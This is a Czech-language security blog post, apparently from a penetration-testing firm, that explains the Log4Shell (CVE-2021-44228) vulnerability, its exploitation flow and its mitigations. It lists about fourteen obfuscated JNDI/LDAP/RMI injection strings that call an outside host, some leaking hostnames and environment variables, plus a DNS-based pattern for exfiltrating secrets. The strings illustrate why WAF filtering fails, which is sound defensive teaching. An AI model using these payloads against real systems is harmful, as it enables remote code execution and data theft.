Log4Shell (CVE-2021-44228) trochu detailněji

Log4Shell (CVE-2021-44228) trochu detailněji

Mnoho bezpečnostních expertů, správců a vývojářů se o víkendu potýkalo s důsledky odhalení zranitelnosti Log4Shell (CVE-2021-44228). Velmi dobře si uvědomují závažnost problému a komplikace spojené s jeho nápravou. Prostřednictvím tohoto článku na to chceme upozornit i vás ostatní.

log4shell-logo

Problém zranitelnosti knihovny log4j je charakterizován dvěma základními vlastnostmi - skrytou všudypřítomností knihovny a falešnou negativitou (false negatives) při detekci a testování.

Samotný problém rozšířenosti knihoven asi nejlépe vystihuje následující tweet:

Věděli jste, že Ingenuity, vrtulníková mise Mars 2020, je poháněna systémem Apache Log4j?TheASF

Seznam identifikovaných [zranitelných produktů] (https://github.com/YfryTchsGD/Log4jAttackSurface) se stále rozšiřuje, stejně jako [prohlášení výrobců a vývojářů] (https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592). Samotná potvrzení zranitelností produktů velkých společností však přicházejí velmi pomalu, prozatímní řešení pro identifikované zranitelné produkty ještě pomaleji a záplaty pro samotné produkty jsou “na cestě”. Velmi dobrým příkladem je v tomto případě je vmware, kde zranitelnost postihla velké množství produktů představujících důležitou součást infrastruktury, a i přes velké úsilí bude cesta k nápravě ještě nějakou dobu trvat. Pokud například používáte VCenter s přihlášením SSO, neměli byste váhat.

Problém identifikace zranitelných komponent má také více úrovní problému a nikdy by neměl být používán jako jediná metoda testování.

V současné době je nejběžnější metodou testování (a také zneužití) vkládání škodlivého kódu do hlaviček požadavků HTTP (nejčastěji User-Agent), a to buď poloautomaticky, ale pomocí jednoduchých skriptů, jako je log4j-scan.

Tato metoda je velmi vhodná pro hromadné zneužití, protože útočníci mají zájem spustit škodlivý kód na co největším počtu zařízení, podobně jako to dělají testeři (nebo lovci odměn za chyby).

Pro skutečnou identifikaci zranitelného systému a skutečné potvrzení možnosti zneužití zranitelnosti je nutné skutečné spuštění kódu v systému. Pouze z přijatého požadavku DNS nelze určit, který systém nebo aplikace je původcem. Výjimkou, kterou lze použít k identifikaci zdrojového systému, je úprava testovacího kódu a vložení názvu zdrojového počítače (hostname - ${hostName}.${env:COMPUTERNAME}) do dotazované cesty ldap, případně prostřednictvím dotazu dns (${jndi dns://<dns server>/<TXT record query string>}).

Přestože je škodlivý kód vložen do požadavku na webovou aplikaci přístupnou z internetu, neznamená to, že je zranitelná samotná webová aplikace, ani to, že ke spuštění kódu z jednoho požadavku dojde pouze na jednom místě. Při nešťastné souhře okolností může jeden požadavek v aplikacích zpracovávajících webové požadavky, vyhodnocujících protokoly nebo ukládajících data spustit kód vícekrát.

Také samotná odezva na testovací požadavek nemusí být provedena okamžitě během testování, ale i s několikahodinovou odezvou, například když jsou data aplikace nebo paradoxně logy periodicky zpracovávány jinými aplikacemi nebo systémy za účelem analýzy, chyb nebo paradoxních útoků.

Tento testovací scénář také nezohledňuje skutečnost, že pro projevení zranitelnosti (protokolování vstupu) jsou nutné specifické podmínky, například spuštění chyby aplikace.

Je také důležité poznamenat, že v tomto případě nejsou webové aplikace jediným vstupem pro škodlivý kód; zranitelné jsou i další typy síťových služeb a také aplikace, které zpracovávají jejich data nebo záznamy protokolů. Služby jako SMTP nebo SSH mohou být stejně účinnými vstupy, které způsobí, že se zranitelnosti projeví například v systému SIEM.

Kdy?

Je už pozdě!

Zranitelnost je aktivně zneužívána v nebývale velkém měřítku. Zranitelnost již využívá několik velkých botnetů, které ji šíří. Vzhledem k velmi účinné napadnutelnosti této zranitelnosti červem je velmi pravděpodobné, že je jen otázkou několika dní, než se objeví první samopropagující se červ.

Je také dobré předem přijmout myšlenku “útok se již stal”, protože hromadné zneužívání začalo jen několik hodin po odhalení zranitelnosti (pro zjednodušení), ale jednotlivé pokusy o zneužití se podle CloudFlare objevily již 9 dní před odhalením.

Co?

Váš přístup by měl předpokládat, že každá java aplikace v síti je zranitelná. Neměli byste čekat na potvrzení nebo opravu od výrobce nebo vývojáře a měli byste dočasné opravy použít okamžitě. Neměly by mít vliv na funkčnost aplikace a obecně představují dobré “zpevnění” a správné bezpečnostní postupy.

V současné době se zaměřujeme především na webové služby přístupné z internetu, sekundárně na interní webové služby. To je pochopitelné a správné, protože představují nejkritičtější část. To je však jen začátek - z hlediska rozsahu problému je to jen špička ledovce. Známé tvrzení 3 miliardy zařízení používají Javu dostává v současné době zcela nový rozměr. Pokud vám běhá mráz po zádech, reagujete správně. Často opomíjené bezpečnostní doporučení - vést katalog používaného softwaru a v případě vývoje aplikací katalog používaných knihoven - nyní lidem výrazně usnadňuje práci.

Je důležité si uvědomit, že i když samotná aplikace není v tovární konfiguraci zranitelná, po změně konfigurace se může zranitelnost projevit - confluence. Zranitelná mohou být i rozšíření používaná v aplikaci - Jenkins.

Aplikace přístupné z internetu představují bránu do interních systémů, například jako vstupní bod do SIEM.

Nesmíme zapomenout ani na systémy, u kterých nemusí být riziko zřejmé okamžitě, jako je monitorování serverů SAM - Server & Application Monitor nebo správa (wifi) infrastruktury UniFi.

Zranitelnost se netýká pouze webových aplikací a správy webu. Samotná zranitelnost se vyskytuje i v tradičních “desktopových” aplikacích a neobchází bezpečnostní nástroje Ghidra Software Reverse Engineering Framework.

Kde?

Nejpřesnějším systémem pro identifikaci zranitelných komponent je v současné době systematická kontrola souborového systému (včetně archivů aplikací) serverů (nebo pracovních stanic) na přítomnost knihovny ve formátu log4j-*.jar..

Zranitelné verze knihoven jsou v rozsahu 2.0-beta92.14.1. Opravená verze knihovny je 2.15.0. Používáte-li log4j v1, doporučujeme rovněž provést upgrade na verzi 2.15.0, protože tato větev je zranitelná vůči jiným formám tohoto typu útoku.

Pokud používáte systém pro kontrolu integrity souborů, může vám hledání usnadnit seznam hashů zranitelných verzí knihoven, který je k dispozici na githubu CVE-2021-44228-Log4Shell-Hashes.

Pokud potřebujete rychle a snadno otestovat své aplikace pomocí zranitelného kódu v hlavičce požadavku HTTP, je možné použít například log4j-scan.

Můžete použít server pro protokolování DNS třetí strany dnslog.cn, který však předává seznam zranitelných serverů třetí straně. Je lepší použít server DNS, který máte pod kontrolou. Alternativy jsou canarytokens.org nebo burpcollaborator.net .

Pro automatickou identifikaci zranitelných závislostí lze použít skener od společnosti Lunasec.

Jak?

Aktualizace na verzi 2.16.0. Použít změny konfigurace. Zneužití je závislé na komunikaci s internetem, což by u produkčních systémů nemělo být nikdy možné.

Pro správné pochopení problému a následné zvážení účinných nápravných opatření je nutné alespoň koncepčně popsat, jak ke zneužití zranitelnosti dochází. To je znázorněno na obrázku níže. Pro podrobnější technický popis doporučujeme následující článek od Fastly.

Fastly-Log4 Zdroj: randori

Po zaznamenání vstupu útočníka kontaktuje aplikace útočníkem určený server prostřednictvím protokolu ldap (útočník může zadat nestandardní port) a pokusí se získat informace o požadovaném objektu a následně o samotné třídě java. Pokud se to podaří, spustí se útočníkem definovaný kód Java v kontextu uživatele aplikace.

Jak by ne!

Ne všechna doporučení jsou sama o sobě účinným řešením problému.

Níže uvedená infografika představuje doporučení švýcarského CERT a na první pohled může čtenáře svádět k myšlence, že použití WAF k zablokování doručení počátečního vektoru útoku, tj. skutečného textového řetězce k vynucení zranitelnosti, představuje účinné řešení problému.

log4j_attack

WAF je jen záplata

Není tomu tak. Stejně jako u všech webových aplikací je WAF pouze doplňkovou ochranou, nikoli řešením problému. Použití WAF k identifikaci textového řetězce bylo v prvních okamžicích zneužití rozhodně dobrým nápadem, protože je univerzálně snadné a rychlé. Tím však veškeré výhody končí, protože detekce je založena na identifikaci konkrétní podoby textového řetězce, kterou lze vždy obejít obfuskací (jinou variantou zápisu), kterou systém nerozpozná. K tomu začalo docházet během prvních několika hodin a jako příklad uvádíme několik použitých obfuskovaných variant. Ty lze samozřejmě různě kombinovat, což znemožňuje jejich účinnou detekci.

${jndi:ldap://127.0.0.1:1389/ badClassName} 
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

zdroj: ZephrFish

Je také třeba mít na paměti, že požadavky HTTP představují nejefektivnější, ale nikoli jediný kanál pro doručení původního škodlivého kódu. (síťové služby, soubory, …)

Nová Java neřeší vše

Aktualizace Javy na nejnovější verzi a nastavení com.sun.jndi.ldap.object.trustURLCodebase=false je sice rychlé, ale ne úplné řešení problému (stále je možné načítat třídy Javy lokálně), ani konečné, protože je pravděpodobné, že časem bude nalezen způsob, jak zranitelnost zneužít v novějších verzích Javy. Proto byste se neměli spoléhat pouze na tuto možnost.

Modifikace šablon protokolů není koncepčním řešením

Přestože změna formátu šablon protokolu z %m na %m{nolookup} zabrání zneužití zranitelnosti, není tento způsob řešení problému koncepčním řešením. Důvodem je, že některé výskyty mohou být přehlédnuty, což je případ, který může být při budoucí aktualizaci aplikace (pomocí klasické šablony) opomenut.

Blokování odchozích připojení je nezbytné, ale neřeší vše

Předpokladem pro zneužití zranitelnosti je komunikace se serverem pod kontrolou útočníka za účelem stažení škodlivé třídy java. Produkční servery by nikdy neměly mít možnost navazovat spojení s Internetem (s výjimkou výslovně povolených důvěryhodných cílů), na tomto základním postupu se asi shodneme všichni. Přestože zablokování připojení znemožňuje zneužití zranitelnosti v daném systému, je třeba myslet na možné výjimky a extrémní situace.

Ačkoli taková přísná politika bývá pravidlem pro produkční systémy, pro vývojová a testovací prostředí, stejně jako pro zařízení v uživatelských segmentech se taková politika obvykle nedodržuje - a právě ta mohou představovat vstupní bránu do vaší organizace a nejvhodnější cíl pro potenciální útoky malwaru (ransomwaru).

Často opomíjeným rizikem je také to, že cloudové služby, jako je AWS, někdy uchovávají soukromé klíče nebo jiné citlivé informace v proměnlivém prostředí. I když systém není schopen otevřít připojení k Internetu, útočníci mohou tato data {uložená v ${env}} exfiltrovat prostřednictvím DNS například voláním ${jndi:dns://<dns server>/<TXT řetězec dotazu záznamu>}.

Mějte také na paměti, že ačkoli je současná zranitelnost zneužívána přes internet, což představuje největší riziko, časem (a ještě dlouho) bude zneužívána i z místních sítí.

Jako v.

Aktualizace na verzi 2.15.0

Nejlepším a úplným řešením je aktualizace knihovny log4j na verzi 2.15.0. Verze je k dispozici na adrese Apache Download.

Nastavení konfigurace

Nastavením možnosti formatMsgNoLookups=true v konfiguraci log4j. Tato možnost je však dostupná až od verze 2.10.0, v opravené verzi 2.15.0 je již ve výchozím nastavení povolena.

Tuto možnost můžete vynutit několika způsoby

Tento údaj můžete předat jako argument při volání příkazu java.

  • Přímo jako argument příkazu java :java -Dlog4j2.formatMsgNoLookups=true ...
  • Nastavením proměnné prostředí (env) :LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ..
  • Přidáním proměnné prostředí (env) pro JVM: JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true.

Anglickou verzi popisující možná řešení zranitelnosti lze nalézt na blogu Lunasec. Podrobnější technický popis zranitelnosti a možných způsobů jejího zneužití naleznete na blogu. Fastly.

Reference

O autorovi

Citadelo
Citadelo
Citadelo je dům plný etických hackerů na vaší straně. Myslíme jako útočník, avšak nezneužíváme toho. Ba naopak, naším hlavním cílem je odhalit zranitelnost bez napáchaných škod. Pro naše klienty připravujeme simulované útoky již od roku 2006. Pomáháme otestovat jejich informační bezpečnost. Podrobte své IT prostředí výzvě a odhalte, do jaké míry jsou vaše citlivá data chráněna.
Zobrazit více od autora

Podobné blogy